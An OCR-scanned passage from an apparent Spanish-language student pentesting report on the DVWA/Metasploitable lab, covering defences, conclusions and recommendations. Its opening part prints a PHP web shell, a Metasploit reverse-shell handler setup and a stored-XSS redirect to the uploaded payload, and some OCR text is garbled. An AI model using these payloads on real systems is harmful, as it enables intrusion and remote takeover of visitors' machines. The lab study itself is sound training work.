\inerabilidad CSS - UNAD

[ Prevent this page from creating additional dialogs

—

[ o \
« Damn Vulnerable Wet

Fuente: Del autor

Por su parte, se acude a la técnica de ataque realmente interesante llamada File
Upload, la finalidad es subir en el servidor instrucciones que generalmente tienen
fines maliciosos como por ejemplo una Shell escrita en PHP. El método de
explotacion consiste en aprovechar vulnerabilidades en los formularios disefiados
para subir cierta clase de archivos (Multimedia). Enlace de DVWA
http://192.168.1.109/DVWA-master/vulnerabilities/upload/

En la figura 62 se aprecia la pagina de la vulnerabilidad File Upload del proyecto
Damn Vulnerable Web Application — DVWA con nivel de dificultad baja, se
contempla la existencia de un formulario (Input tipo file) que informa la posibilidad
de subir una imagen, puede ser explotada dicha vulnerabilidad debido a que el
script no comprueba el tipo de fichero subido, por lo general se realiza diferentes
tipos de ataque con archivos PHP.

Un método sencillo para corroborar si es vulnerable es a través de una Shell PHP

que permita ejecutar comandos gracias a la funcion “system():”, como la
siguiente, asi:
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<?php
$cmd =$_GET["cmd"];
system($cmd);
?>

Este algoritmo se registra en un archivo de extension PHP (prueba.php) el cual
sera cargado en el formulario File Upload del proyecto DVWA, una vez es
montado la pagina informara de la ruta donde fue cargado, hay que tener presente
gue durante el proceso de configuracion de DVWA se han cambiado los permisos
de lectura, escritura y ejecucion (777) sobre la carpeta /var/www/html/DVWA
/hackable/uploads/.

Es en esta carpeta donde estard alojados los archivos montados, para poder
ejecutar la secuencia de comandos con la shell desarrollada previamente, en el
browser se ejecutara las instrucciones de la siguiente manera, asi:

http://192.168.1.109/DVWA/hackable/uploads/prueba.php?cmd=Is

Se evidenciaria la ejecucién del comando “Is”, el cual muestra un listado con los
directorios y archivos de un directorio determinado

Figura 62. File Upload

Pa (===

séb 10 de nov, 22:51

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Upload - Iceweasel
File Edit View History Bookmarks Tools Help
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Fuente: Del autor
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En la figura 63 se corrobora la creacién del archivo “unad.php” en la cual se
guarda un Exploit que permite el acceso remoto (Shell inversa)
‘php/meterpreter/reverse_tcp” a través del software Metasploit. Asimismo, se
registran los parametros requeridos como son la IP privada del equipo que actia
como atacante (Kali Linux) y el puerto de escucha (4444) reservado para la
conexion. Hay que tener presente que el archivo PHP creado se debe suprimir el
caracter “#” de la primera linea para poder ejecutar las instrucciones, asi:

msf> use exploit/multi/handler

msf> set PAYLOAD php/meterpreter/reverse_tcp
msf> set LHOST 192.168.1.108 (IP atacante - Kali)
msf> set LPORT 4444

msf> exploit

Lo que se ha registrado corresponde a un handler que estaré a la escucha de una
conexion por parte de la reverse Payload, esta dara una shell de Meterpreter.
Asimismo, La figura 64 se observa la pagina de la vulnerabilidad File Upload del
proyecto Damn Vulnerable Web Application — DVWA con nivel de dificultad baja,
se evidencia el cargue del archivo malicioso “unad.php” en la pagina web a través
del formulario (Input tipo file). Esta accion es efectuada en la maquina atacante
(Kali Linux).

Figura 63. Creacién archivo PHP malicioso con Metasploit (Trojan)

séb 10 de nov, 22:45

root@Kali: ~/Kali

1.7 LPORT=4444 R = unad.php

45 unad.php

Fuente: Del autor

La figura 64 se corrobora el empleo del explorador web Iceweasel en la maquina
virtual con el sistema operativo Kali Linux (Maquina atacante), se puede
contemplar la combinacion de las técnicas que permiten explotar las
vulnerabilidades de File Upload y Stored Cross Site Scripting, a través de las
siguientes instrucciones es posible ejecutar el archivo malicioso que lograr brindar
acceso a una sesion meterpeter al atacante, asi:

Name: Upload

<script>window.location="http://192.168.1.109/dvwa/hackable/uploads/unad.php"
</script>
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La instruccion “window.location” puede ser empleada para aprovechar la
vulnerabilidad y direccionar a una pagina web externa o refrescar la web actual

Figura 64.Stored Cross Site Scripting (Ejecutar archivo malicioso)
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Fuente: Del autor

Finalmente la figura 65 permite observar como se obtiene la sesion Meterpreter
con Metasploit, la cual se logra cuando un cliente haya ingresado al enlace donde
se encuentra alojado el archivo malicioso que permite la conexiéon
“http://192.168.1.109/DVWA/hackable/uploads/unad.php”.

La potencia de esta técnica consiste en que cualquier usuario a través de
cualquier host independientemente del explorador web empleado puede
comprometer su seguridad y no la del servidor (Host que alberga el proyecto
DVWA). Hay que tener presente que la finalidad del interprete Meterpreter de
Metasploit es realizar las fases de post-explotacion de un Pentesting.
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Figura 65. Obtencion de sesion Meterpreter
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Fuente: Del autor

La potencia de esta técnica consiste en que cualquier usuario a través de
cualquier host independientemente del explorador web empleado puede
comprometer su seguridad y no la del servidor (Host que alberga el proyecto
DVWA). Hay que tener presente que la finalidad del interprete Meterpreter de
Metasploit es realizar las fases de post-explotacion de un Pentesting.
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7 FUNDAMENTO PARA EL REPORTE POLITICAS DE SEGURIDAD

7.1 SEGURIDAD EN LAS ORGANIZACIONES

En la actualidad los componentes tecnoldgicos se han convertido en instrumentos
fundamentales en las operaciones de las empresas, sin importar si estas son
pequeiias y medianas empresas (Pymes), gracias a la tecnologia muchos
procesos se han automatizado y mejorado, ayudando a las organizaciones a
optimizar sus recursos como al igual han modificado la forma de almacenar su
informacion, cambiando en gran parte la informacion fisica por virtual.

No es prudente aislarse de la globalizacién digital, las empresas optan cada dia
por estar mas conectadas, esto obliga a que se realicen grandes inversiones en
infraestructura, recursos y capacitacion a sus empleados. Si se establecen
adecuadamente elementos idéneos que dirijan esta transicion, se podria lograr
grandes resultados para las organizaciones, salvaguardando la informacion que
manejan y permitiendo que perduren empresarialmente.

Uno de los propositos fundamentales que las empresas deberian implementar,
seria aquellos mecanismos eficientes que permitan definir la viabilidad de esta, en
lo relacionado con la seguridad de la informacion conlleva a disponer de un plan
de accion que reduzca la materializacién de riesgos, dicha actividad liderada
desde la alta gerencia tiene como objetivo propender por resultados satisfactorios
que permitan dar continuidad ante cualquier contingencia.

Por su parte, visto al sistema Metasploitable como un activo de gran importancia
en una empresa, el cual esta propenso a los ataques cibernéticos que conllevan a
cuantiosas y significativas pérdidas, es imperioso comprender la justificacion de
inversion por proyectos que permitan preservar la seguridad de la informacion,
continuidad de los procesos y sistemas informéaticos en una compafiia. Es
trascendental aclarar que, a pesar de cualquier inversion, siempre el eslabén mas
débil en la cadena de la seguridad va a ser el factor humano, se puede disponer
de los mejores sistemas y productos de seguridad informatica del mercado, pero si
cada uno de los integrantes de la empresa no se compromete con el propésito
gerencial, se continuara siendo vulnerables ante los ataques.

En razon a lo anterior, debe existir financiacibn en sistemas de gestion de
seguridad de la informacion, el comprender que no se trata de un gasto sino de
una inversion que evita multiples riesgos, seria tedioso efectuar los diferentes
procesos de la manera apropiada sino se dispone de métodos que proporcionen
mecanismos de seguridad informéatica, de esta manera se garantiza proyectar las
actividades destinadas a lograr los objetivos propuestos, implica experimentar
practicas de gestion de incidentes que demandan tiempo y recursos que mitiguen
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o disminuyan las brechas de seguridad que cada vez complican la eficiencia
organizacional.

Sin embargo, la globalizacién digital también ha producido nuevos tipos de
amenazas tecnologicas, el resultado de estas amenazas a provocado que las
empresas se enfoquen en realizar analisis de riesgos, que les permita identificar la
importancia de todos los activos que poseen, de esta forma las empresas pueden
detectar que tan importante es establecer métodos de seguridad a cada uno de los
activos teniendo en cuenta su relevancia. Ademas, este analisis también ayuda a
identificar las diferentes amenazas que puede enfrentar un activo y las posibles
metodologias de seguridad que se pueden aplicar a las mismas.

No obstante, siempre se aplican métodos y controles de seguridad para minimizar
o anular el impacto de estas amenazas, antes de enfatizar en las salvaguardas es
importante aclarar que estas son medidas de proteccidon para hacerle frente a las
amenazas, con el fin de mitigar el impacto de una amenaza o eliminarlo en su
totalidad. Sin embargo, no todas las amenazas cuentan con salvaguardas.
Asimismo, una gestion de la continuidad de negocio permite proteger a la
organizacion ante posibles amenazas o incidentes que conlleven a interrumpir o
suspender sus diferentes actividades, brinda acciones para mitigar estas
circunstancias atipicas como al igual asegurar la resiliencia de la organizacion.

Finamente, la anterior informacion permite comprender las acciones necesarias
para generar un reporte relacionado con las politicas de seguridad aplicables al
presente proyecto del caso estudio del entorno virtual Metasploitable, sin antes
entender que los datos son catalogados como un activo sensible en las
organizaciones, debido a su trascendencia resulta imperioso resguardarla y
conservarla, efectuando acciones ingentes con el fin evitar comprometer la
informacion en términos de integridad, confidencialidad y disponibilidad. En el
presente proyecto aplicado Unicamente se relacionaron algunas pruebas de
concepto relacionadas con el acceso no autorizado a los sistemas informéticos y
ataque al lado del cliente, hay que tener presente que los ataques informaticos
pueden derivarse de diferentes brechas las cuales no se han relacionado, pero se
considera indispensable contemplar las siguientes acciones de seguridad, asi:

7.1.1 Sistema de deteccion de intrusiones. Un Sistema de Deteccion de
Intrusiones IDS es una herramienta que actla de manera cautelosa como
mecanismo para prevenir y dar aviso ante cualquier actividad sospechosa alusiva
a una instruccion en los sistemas, el IDS realiza un analisis detallado del trafico de
la red como accién para mitigar el ataque informatico. Existen varios tipos de
Sistemas de Deteccion de Intrusiones, los cuales se basan en firmas, host, red,
anomalias, pasivo, reactivo, etc. Los dos mas importes son los sistemas de
deteccion de intrusiones de red N-IDS y sistema de deteccion de intrusiones en el
host H-IDS.
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El objetivo de un N-IDS es inspeccionar el trafico de paquetes (Entrante y saliente)
que viaja en una red con la finalidad de identificar posibles actuaciones andémalas,
por lo general se ubican en varios puntos estratégicos para analizar el trafico de
red sin afectar la misma, pues ejerce su funcion de manera pasiva. El objetivo de
un H-IDS es ejecutarse como un servicio en un sistema operativo (Host) con la
inmensa oportunidad de realizar descubrimiento y analisis de la informacion
almacenada en los registros importantes del sistema. Es decir, un H-IDS puede
examinar de manera pormenorizada las diferentes actividades realizadas en el
proceso de ataque, las cuales se registran en ficheros del sistema, dispone de
algunas ventajas como descubrir ataques no contemplados por N-IDS,
inspeccionar paquetes de datos que viajan cifrados.

Los métodos para detectar los ataques de intrusiones informaticos se basan en
analisis los protocolos, identificacion y comparaciones de patrones de ataques,
configuraciones de dispositivos, registro de intrusiones, alertas de intrusién por
diferentes medios, realizar forzado de desconexion, analisis de actividades
sospechosas, etc.

La herramienta Snort es un sistema de deteccion de intrusiones basado en red
muy reconocida, lanzado por Martin Roesch (Sourcefire) y posteriormente
adquirida por la compafia Cisco Systems, este instrumento multiplataforma es
muy usado en el mundo de la seguridad informética, la cual se encuentra
disponible bajo la licencia GPL (Licencia Publica General) entre la caracteristica
mas sobresaliente esta que actia como un Sniffer permitiendo realizar un analisis
en tiempo real de trafico de red.

7.1.2 Gestidn unificada de amenazas. Se trata de una herramienta especializada
en seguridad informatica enfocada a brindar una solucion integral de seguridad en
los sistemas, no requiere de la implementacion de instrumentos que trabajan de
manera aislada, la UTM unifica funciones caracteristicas de firewall, antispam,
filtrado de contenidos, antivirus, prevencion y deteccidén de intrusiones (IDS/IPS),
antispyware, antiphishing, funcién de VPN, etc.

Los administradores de seguridad en los sistemas informéticos encuentran en esta
herramienta facilidades en la gestion de seguridad, evita la sobrecarga laboral,
minimiza los riesgos y amenazas informaticas, asimismo puede ser administrado
por un solo profesional ante incidentes como, por ejemplo: virus, gusanos,
troyanos, spyware, adware, acceso no autorizado a la red, ataques DOS y DDOS,
spam, malware, suplantacion de contenido, ataques de inyeccion, fuerza bruta y
diccionario, entre otros.

Al tratarse de una herramienta integral requiere del amplio procesamiento de los
paquetes que conllevan afectar el rendimiento del sistema y red, se puede evitar si
se dispone de méas ancho de banda o la implementacion de hardware destinado a
mejorar el rendimiento de los equipos. El mayor problema de una UTM se basa si
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este mecanismo de seguridad falla no puede garantizar la seguridad del sistema,
en razon es recomendables establecer planes de contingencias con herramientas
informaticas adicionales.

7.1.3 Prevenir denegacion de servicios distribuido. Prevenir un ataque de
denegacion de servicios distribuido que emplea una cantidad considerable de
botnets es un proceso complejo, como medida preventiva es necesario
comprender el comportamiento usual del sistema y sus servicios brindados, se
trata de entender las nuevas peticiones al servicio, identificar el origen de los
usuarios autorizados, los puertos de conexion, ancho banda empleado, etc.

Lo anterior, con el fin de comparar ante posibles comportamientos anormales y
disponer medidas necesarias para confrontar el ataque. Asimismo, desactivar
aquellas funciones o servicios que pueden ser comprometidos por los delincuentes
informéticos y sirvan de puente para contribuir a una negacion de servicio, es
imperioso eludir que la propia red sea parte de la ofensiva informéatica.

Realizar una correcta configuracion de los routers sirve para prevenir los ataques
DDOS, estos elementos disponen de alternativas para evitar inundaciones en los
protocolos TCP/UDP, como al igual limitar el namero de conexiones a los
servicios, reduciendo lapsos en el establecimiento de conectividad, evitar cargas
de las sesiones inactivas en el servidor, impidiendo asi que se conserven en la
tabla de memoria.

Otras acciones para mitigar los efectos del ataque de denegacién de servicios
distribuido es restringir la tasa de trafico procedente de una host exclusivo, limitar
el consumo de ancho de banda de aquellos sistemas que trasgreden las normas
de seguridad, efectuar monitoreo de las conexiones de los protocolos de nivel de
transporte TCP/UDP, mantener el sistema y servicio actualizado, disponer de
actualizaciones de seguridad, instaurar medidas antispoofing cuando se brinda un
servicio a los clientes especificos con identificacion de IP definidas, mitigar el
empleo de recurso del sistemas como son la memoria, CPU, red, entre otros,
efectuar de manera perioddica auditoria de seguridad informatica, disponer de la
planificacién del procedimiento de contingencia ante posibles planes de respuesta
a incidentes.
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7.1.4 Configuracion incorrecta de seguridad. Se trata de aquellos mecanismos
que poseen los sistemas operativos y software con el fin de realizar ajustes
adecuados en la configuracion, con el propdsito de disminuir o mitigar los riesgos
de ataques informaticos como parte de la experiencia o conocimiento en seguridad
informatica, las configuraciones por defecto en algunos sistemas comprometen las
integridad, disponibilidad y confidencialidad. Asimismo, se estima que el proceso
de acceso no autorizado a un sistema informatico es arduo si se dispone de la
correcta configuracion y administracion, por ende, si existe una inadecuada
configuracion en dicho sistema puede ser comprometido facilmente por un
delincuente informatico.

La falta de la actualizacion de repositorio de seguridad, carencia de mecanismos
de proteccion, los archivos, servicios y elementos innecesarios habilitados,
configuraciones predeterminas, cuentas predeterminadas, credenciales por
defecto y débiles, hasta la falta de capacitacion del talento humano son
catalogados como agentes generadores de inseguridad en los sistemas.

Estas acciones facilitan el descubrimiento de contrasefias a través de diferentes
técnicas de ataque informético, la carencia de parches de seguridad conllevan a
facilitar la brecha de ataques en servicios vulnerables, entre otros incidentes de
seguridad informatica de origen humano al disponer de acciones inadecuas de
configuracién de los servicios y/o directivas que facilita el acceso no autorizado,
que en muchos casos es debido al aprovechamiento y descuido del eslabén méas
delicado en razén a la ignorancia o desconocimiento por parte del usuario.

Los métodos de prevencidon del riesgo de configuracién de seguridad incorrecta,
es la implementacién de mejores practicas de seguridad y auditoria, asi:

e Establecer cifrado en las credenciales almacenadas.

e Verificar la autenticacion en las conexiones a los servicios.

e Disponer de mecanismos de autenticacion seguro Transport Layer Security
(TLS).

e En lo posible cifrar la comunicacion entre el usuario y el servidor a través de
SSL (Secure Sockets Layer) o su sucesor TLS (Transport Layer Security).

¢ Implementar politicas de seguridad establecida en el sistema de gestion de
seguridad de la Informacion.

¢ Eliminar cuentas por defecto.

e Disponer de actualizaciones de seguridad.

e Eliminar aplicaciones y elementos innecesarios que puedan comprometer la
seguridad.

e Verificar que los servicios, aplicaciones y demas se encuentren en su ultima
version definida.
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e Eludir del listado de directorio como al igual de la evidencia de la estructura de
directorio.

e Desactivar sesiones persistentes en los servicios.

e Restringir el acceso a ficheros e informacion confidencial.

e Definir reglas de control de acceso a los servicios.

¢ Realizar auditorias de seguridad informatica de manera periddica.

¢ El talento humano debe capacitarse constantemente.

e Evitar comprometer el algoritmo que conlleve aplicar ingenieria inversa.

e Las configuraciones adecuadas de seguridad deben ser declaradas e
implementadas.

7.1.5 Uso de componentes con vulnerabilidades conocidas. Consiste
basicamente en la realizacion de una serie de escaneos 0 analisis sobre los
sistemas informaticos con el fin de identificar debilidades que puedan ser
explotadas. Determinar las versiones de los componentes utilizados y después
realizar una investigacion en sitios como (Common Vulnerabilities and Exposures)
y NVD (National Vulnerability Database) donde cada una de las vulnerabilidades
esta previamente referenciada con informacién detallada, la versién de software
afectado y las medidas para prevenir los posibles atagues que se puedan
presentar en las aplicaciones.

7.1.6 Web application firewall. Una de las principales diferencias de las
caracteristicas de las aplicaciones de escritorio y web, se centra en que esta
dltima de acuerdo a su enfoque es ubicua, dicha propiedad estd mas propensa a
sufrir ataques informaticos, la gran mayoria de estos ataques en la actualidad
aprovechan fallas de disefio o bugs en los diferentes software.

Durante el ciclo de vida de las aplicaciones web en ocasiones se evidencian
vulnerabilidades, bajo circunstancias intrinsecas del proyecto no es posible
remediar o subsanar de manera inmediata dicha falla debido a que requiere del
redisefio parcial de software, o en algunas eventuales no es posible efectuar las
modificaciones que haya lugar.

Teniendo en cuenta lo anterior, se debe acudir a otras instancias que brinde
acciones inmediatas y seguras. Un Web Application Firewall corresponde a un tipo
de cortafuego particular, es empleado como una accién de control de acceso a un
servicio web, actia entre la aplicacion web y el cliente con el fin de interceptar y
eludir solicitudes catalogadas como maliciosas que puedan comprometer la
seguridad de la aplicacion.

Hay que tener presente que una WAF es una solucion alterna hasta que se dé

solucion al bug identificado en el software, y no pretender reemplazar las
propiedades propias en el contexto de seguridad de la aplicacion web, es un
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compromiso buscar una solucion de disefio, aunque no esta de mas disponer de
esta herramienta. En la figura 66 se evidencia la estructura de la implementacion
de un WAF.

Figura 66. Concepto WAF
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En una Web Application Firewall se debe configurar las reglas necesarias para
evitar la explotacién de vulnerabilidades conocidas, como SQL Injection, Cookie
Poisoning, Cross Site scripting, Remote and Local File Inclusion, Denial of service,
Buffer Overflows, etc. Una de las principales ventajas de la Web Application
Firewall es que actla sobre la dltima capa del modelo OSI, en contra parte el
firewall habitual actia sobre la capa de red y transporte, dejando posibles brechas
sobre el puerto HTTP.

7.1.7 Honeynet. Una posible alternativa a considerar seria el empleo de un
sistema sefiuelo el cual esta disefiado para ser comprometido y explotado por
delincuentes informéticos, la celada permite detectar todos los registros
efectuados durante el ataque, el objetivo principal consiste en detectar intrusos
como al igual ser una herramienta de prevencion de ataques.

Hay que tener presente que no deberia registrar el trafico hacia o desde el
HoneyPot, pues se podria inferir que se esta sufriendo un ataque informatico o ha
sido comprometido en su seguridad, en la figura 67 se evidencia una explicacion
detallada del enfoque de HoneyPot.
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Figura 67.Concepto HoneyPOT
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7.1.8 Firewall — rules. La herramienta “iptables” es un tipo de contrafuego que
filtra todo el trafico de la red en el sistema operativo de nucleo Linux, el cual
trabaja a partir de reglas como lo son INPUT, OUTPUT, FORWARD y NAT,
asimismo, dispone de operaciones a cada regla que permite aceptar, rechazar,
notificar, registro de peticiones, entre otras.

#sudo iptables -A INPUT -i ethl -p tcp --dport 21 -] DROP
#sudo iptables -A INPUT -p tcp --dport 23 -j REJECT
#sudo iptables -A INPUT -p icmp -j REJECT

Las anteriores reglas permiten negar el trafico entrante de procedencia de los
puertos 21 (FTP), 23 (Telnet) y ICMP, ademas de esta manera no se podria con
un comando ordinario detectar los servicios con NMAP para el descubrimiento de
informacion de la maquina a auditar.

Igualmente, es posible a través de Snort como sistema de deteccion y prevencion

de intrusos en los sistemas operativos de Microsoft y GNU/Linux, descubrir
aquellas acciones catalogadas como sospechosas en los sistemas
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7.1.9 Otras acciones. Las siguientes acciones permite tener mayor control del
sistema que se pretende impedir un ataque informatico, asi:

7.19.1 Control de contrasefias. Los sistemas operativos disponen de
elementos de seguridad necesarios como métodos de autenticacién en el sistema,
durante el proceso de inicio de sesion se requiere disponer de un user y password
los cuales se infieren que deben estar bajo la reserva del usuario como parte de
las politicas de seguridad de la informacion, este método de control de
contrasefias se emplea con el propésito de mantener la seguridad en las
diferentes cuentas que hacen parte del sistema operativo, conllevando a
determinar la identidad y autenticacion de cada cliente que hace uso del sistema.

Los controles de seguridad estan determinados en definir la caducidad en las
contrasefias, confidencialidad en las mismas, asimismo, configuraciones de
contrasefias seguras Yy robustas que garantice resistencia para evitar ser
adivinadas en razon a ataques de fuerza bruta o diccionario, entre otras medidas
de control de seguridad.

7.1.9.2 Copias de seguridad. Es la base esencial para el aseguramiento de
los activos, la finalidad es respaldar los datos a través medios de almacenamiento
externos para garantizar las politicas de seguridad (Disponibilidad, integridad y
confidencialidad), de esta manera se dispone de mecanismos de recuperacion de
informacion ante posibles eventualidades de riesgos. Asimismo, proporciona la
continuidad de los servicios de una organizacion, restauracion de un sistema
operativo, entre otros.

Los controles de seguridad estan determinados en definir la periodicidad de copias
de seguridad, clasificacion de los activos, proceso de aseguramiento de la
informacion, politicas definidas ante fallas de respaldo, responsabilidad ante la
custodia, etc.

7.1.9.3 Control de accesos. Corresponde aquel mecanismo de seguridad
que identifica y autoriza el acceso por parte de usuario a un sistema bajo los
postulados de confidencialidad, integridad y disponibilidad. Se realiza a través de
la aprobacién para ejecutar determinados recursos protegidos que pueden ser
software, redes, servicios, sistemas, etc. Los controles de seguridad estan
determinados en definir contrasefias, lector de huellas, patrones faciales, entre
otras medidas para garantizar conexiones seguras.
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7.1.9.4 Log del sistema. Actia de manera incognita cuya finalidad es
registrar las diferentes eventualidades realizadas en el sistema, se consignan
habitualmente en archivos de texto de acuerdo con la clasificacion de las
actividades desarrollas por el usuario, generalmente son inspeccionadas durante
un analisis forense como parte de la implementacion de la informética forense, la
cual es destina a la recopilacion de evidencias digitales de origen computacional
con diferentes propésitos. Los controles de seguridad estan determinados registrar
fallas en el sistema, acceso de usuarios, instalacion de software y demas proceso
y eventos importantes.

7.1.9.5 Control de configuracion del sistema. Se trata de aquellos
mecanismos que poseen los sistemas operativos con el fin de realizar ajustes
adecuados en la configuracion del sistema, optando por disminuir o mitigar los
riesgos de ataques informaticos como parte de la experiencia o conocimiento, las
configuraciones por defecto en algunos sistemas operativos comprometen la
integridad, disponibilidad y confidencialidad de la informacion, asimismo, se estima
que el proceso de acceso no autorizado a un sistema informatico es arduo si se
dispone de la correcta configuracion y administracion. Los controles de seguridad
se implementan en cortafuegos, actualizaciones, configuraciones del sistema, etc.
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8 CONCLUSIONES

Se logra identificar aquellas metodologias de analisis de vulnerabilidades,
evidenciando la reconocida metodologia Open Source Security Testing
Methodology Manual — OSSTMM, la cual es catalogada como un estandar de
seguridad para determinar vulnerabilidades y combatir ataques informaticos. Entre
las mas significativas se distinguen Certified Ethical Hacker - Offensive Security,
Information Systems Security Assessment Framework - ISSAF, Open Web
Application Security Project OWASP, Technical Guide to Information Security
Testing and Assessment NIST SP 800-115, Penetration Testing Execution
Standard — PTES.

La prueba de intrusion se efectud siguiendo las pautas descritas en la metodologia
de andlisis Open Source Security Testing Methodology Manual — OSSTMM, la
cual permitié el analisis, deteccion y explotacién de vulnerabilidades de seguridad
informatica, se logra mediante una planificada implementaciéon de métodos y
herramientas de seguridad informatica. Hay que comprender que el proceso de
acceso no autorizado a un sistema informatico es arduo si se dispone de la
correcta configuracién y administracion, la gran mayoria de los grandes ataques
informaticos de la actualidad aprovechan fallas de disefio o bugs en los diferentes
software.

La auditoria de seguridad informatica desarrollada recabd informacion
fundamental del objetivo de estudio, haciendo uso de herramientas especializadas
disponibles en la distribucion de Kali Linux, aunque no se enfatizd en la fase de
recoleccion de informacion en razén a que recre6 un ambiente controlado para
atagues informaticos al sistema operativo virtualizado, debido a que no es posible
investigar informacién relacionada con cuentas de correo electronicas, dominios,
metadatos en los archivos, servidores, entre otros. Durante la fase de mapeo de
red Unicamente se limitd6 a la informacién brindada por los puertos y servicios
abiertos del sistema Linux (Metasploitable?), aparte de ello se esboza la estrategia
y plan para la identificacion y explotacion de vulnerabilidades informaticas.

Se detallaron los métodos de explotacién de vulnerabilidades informéticas a través
del Framework de Pentesting como proceso test de intrusion de la auditoria
informatica, la cual se efectué durante la fase de explotacion como brechas de
atague a través de herramientas como Hping3, Hydra, Ettercap, Wireshark,
SQLMap, John The Ripper, Burp Suite, Core Security, Immunity CANVAS,
Metasploit, entre otras. Las vulnerabilidades explotadas durante el presente
proyecto aplicado se basaron en un critico, se dejé a un lado los niveles inferiores,
aunque en muchos casos son indispensables para encapsular otro ataque
informatico como se evidencio en la prueba de concepto 9 correspondiente a la
vulnerabilidad Tomcat. OpenVas categorizo los riesgos que tienen los servicios
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ante las amenazas identificadas, no se documentaron en su totalidad las
vulnerabilidades descubiertas, pero si se explicO la metodologia para lograr
explotar las mismas con el software Metasploit. Sin lugar a duda como aspecto
relevante para establecer el punto de partida de los ataques informaticos citados
fue a partir de los puertos y servicios abiertos, por ello surge la necesidad de
realizar acciones para mejorar las medidas de seguridad como por ejemplo el
fitrado de los puertos, credenciales robustas, configuraciones de seguridad
adecuadas, medidas de autenticacion, etc.

Se realizé la documentacion de estrategias las cuales que mitigan el nivel de
riesgo existente en la distribucion Metasploitable, comprendiendo la importancia
de la implementacion de un sistema de gestion de seguridad de la informacion,
pues es evidente que lo que no se mide no se controla, y lo que no se controla no
se gestiona, el sistema Metasploitable como activo digital en una empresa, su
administracion organizacional debe actuar de acuerdo con los principios rectores,
pues se concibe que lo que no se controla no se puede dirigir, y por supuesto no
se puede aplicar alguna mejora continua. Estos mecanismos de soporte de
seguridad disponen de herramientas de registro y control que priorizan la gestion
de incidentes de seguridad informética con fundamentos soélidos que garantizan
los procesos en términos de la integridad, confidencialidad y disponibilidad de la
informacion.

No se debe desconocer que la gestién de continuidad de la empresa interactia de
manera coordinada con el sistema de gestion de la seguridad de la informacion,
son parte del sistema de gestion del riesgo de la empresa, en el que le permita
identificar, analizar y actuar ante factores de contingencia.

En el presente proyecto aplicado, la documentacién de estrategias tuvo como
proposito mitigar el nivel de amenazas en la distribucién Metasploitable, lo que se
configura como parte de un plan de continuidad ante posibles incidentes
relacionados con factores de ataques informaticos, estas acciones permiten
demostrar la capacidad de respuesta eficiente ante posibles riesgos. Pues la
auditoria en seguridad informatica efectia una serie de acciones con el propésito
de identificar riesgos que se puedan materializar, brindando oportunidades de
control como elemento de solucién, esta clase de accién beneficia a la empresa.
Es por ello, que las metodologias de analisis y gestion de riesgos tienen como
objetivo brindar instrumentos para la gestion de riesgos, reconocer el valor de los
activos en las organizaciones es fundamental, por medio del andlisis de riesgo se
logran identificar las amenazas potenciales que pueden generar un impacto alto
en los activos.

Entre las principales acciones relacionadas en el informe de estrategias para la
mitigacion de las vulnerabilidades del entorno virtual Metasploitable, se registro el
empleo de aquellas herramientas especializadas en seguridad informatica, las
cuales se orientan a brindar una solucién integral de seguridad, como lo es el
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sistema de deteccién de intrusiones, gestion unificada de amenazas, web
application firewall, empleo de componentes con vulnerabilidades conocidas,
implementacion de Honeynet, como al igual la intervencion adecuada para la
prevencion de ataques informaticos como la denegacién de servicios distribuido,
inyecciones, ataque de diccionario o fuera bruta, entre otros.

Por su puesto no se debe omitir la adecuada actuacién por parte del responsable
de la administracion de la seguridad informatica en la empresa, su funcién es
elemental en la gestion de la seguridad en la empresa, ademas de ser el principal
orientador para el eslabén mas débil en esta cadena.

Finalmente, en lo concerniente al desarrollo de la formulacion del problema,
alusivo a la determinacion del nivel de seguridad informéatica mediante la
implementacion de pruebas de Pentesting al caso estudio del entorno virtual
Metasploitable a través de la identificacion y explotaciéon de vulnerabilidades, se
comprendid que Metasploitable al tratarse de un entorno virtual para el ensayo de
pruebas de penetracion, tiene como objetivo mejorar las habilidades y destrezas
relacionadas con las practicas de hacking ético, brinda un espacio seguro para
explotar vulnerabilidades informaticas sin estar en riesgo de cometer alguna
infraccion penal.

Su previa configuracion esta enfocada en ejecutar determinadas técnicas de
hacking, aunque estas se correlacionan con los niveles de dificultad que disponga,
en la actualidad se dispone de 3 versiones, para el presente proyecto aplicado se
efectué en la segunda versién, es importante comprenderlo debido a que esta
condicionada a la actualizacion del software en particular. Es decir, lo que se logro
con Metasploitable es brindar un espacio para el laboratorio de pruebas de
Pentesting, que debido a su estructura légicamente dispone de vulnerabilidades
reconocidas.

Es por ello, que a través de diferentes herramientas de seguridad informética
como un paso metodolégico se comprometio la seguridad de Metasploitable,
partiendo de correspondiente mapeo de la red, identificacion de hosts disponibles,
descubrimiento del sistema operativo, de puertos y servicios, seguido de la fase de
descubrimiento de vulnerabilidades y finalmente con la etapa de intrusion, que
seria el ciclo comprometedor del test de intrusién, pues es aqui donde surgio la
destreza del profesional, destinado a exponer la debilidad del sistema a través de
diferentes técnicas. Para poder desplegar esta accién se debe comprender e
interiorizar los diferentes ataques informaticos, actividad destinada a aprovechar
las vulnerabilidades, como por ejemplo a través de ataques de inyeccion, atague
de diccionario, cross site scripting, explotacion puertas traseras, denegacion de
servicios distribuidos, ataques lado cliente, entre otros.

Durante el desarrollo del presente proyecto aplicado se empled principalmente las
herramientas NMAP, OpenVAS, SQLMap, Burp Suite y Metasploit, aunque existe
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gran variad de software con un enfoque similar, el objetivo fue identificar y
determinar el nivel ellas determinaron el nivel de seguridad informéatica mediante la
implementacion de pruebas de Pentesting al caso estudio del entorno virtual
Metasploitable pues se identificaron y exploraron sus vulnerabilidades, esta accion
se realiz6 sin mayor complejidad debido a la notables carencias de seguridad, que
sin lugar a dudas dan por entendida la imperiosa necesidad de mejorar la
seguridad de los sistemas con el fin de disipar y/o prevenir ataques informaticos
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9 RECOMENDACIONES

Como primera medida se recomienda implementar un Sistema de Gestion de
Seguridad de la Informacién SGSI, se trata de una inversion que evita multiples
riesgos, sin el mismo seria tedioso efectuar los diferentes procesos de la manera
apropiada si no se dispone de métodos que proporcionen mecanismos de
seguridad informética, se garantiza ejecutar las acciones destinadas a lograr los
objetivos propuestos, implica experimentar practicas de gestién de incidentes que
demandan tiempo y recursos que mitiguen o disminuyan las brechas de seguridad
gue cada vez complican la eficiencia organizacional.

Asimismo, es indispensable disponer de alguna Metodologia de Andlisis y Gestion
de Riesgos, enfocado a disipar los diferentes niveles de riesgos que tiene un
activo ante una amenaza, un plan de gestiébn de riesgos es una herramienta
fundamental para la continuidad de un negocio, es importante entender que dicho
plan impacta de manera positiva en la organizacion, estas acciones no se deben
generar después de sucedido el desastre, por el contrario, lo que se pretende es
implementar el modelo adecuado en la organizacién con anticipacion, disponiendo
